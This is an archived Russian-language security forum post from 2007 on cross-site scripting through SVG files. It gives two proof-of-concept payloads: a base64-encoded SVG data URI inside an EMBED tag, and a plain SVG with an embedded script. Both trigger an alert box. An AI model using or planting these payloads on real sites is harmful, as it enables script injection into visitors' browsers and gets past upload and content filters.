XSS in Scalable Vector Graphics(SVG)

Discussion in 'Уязвимости' started by ettee, 19 Feb 2007.

  1. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Формат является открытым стандартом, который основан на языке XML, SVG формат объединяет в себе графические данные, текст и интерактивные компоненты. Подержка браузеров и производителей графического ПО.
    Cайте формата http://www.w3.org/Graphics/SVG
    thx nEUrOO за первую демонстрацию.

    Code:
    <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
    
    [​IMG]

    Code:
    <svg
    ...
    
    <script>
       <![CDATA[
    	alert("XSS");
       ]]>
      </script>
    </svg>
    Пример
     
    _________________________
    #1 ettee, 19 Feb 2007
    Last edited: 29 Jul 2008
    3 people like this.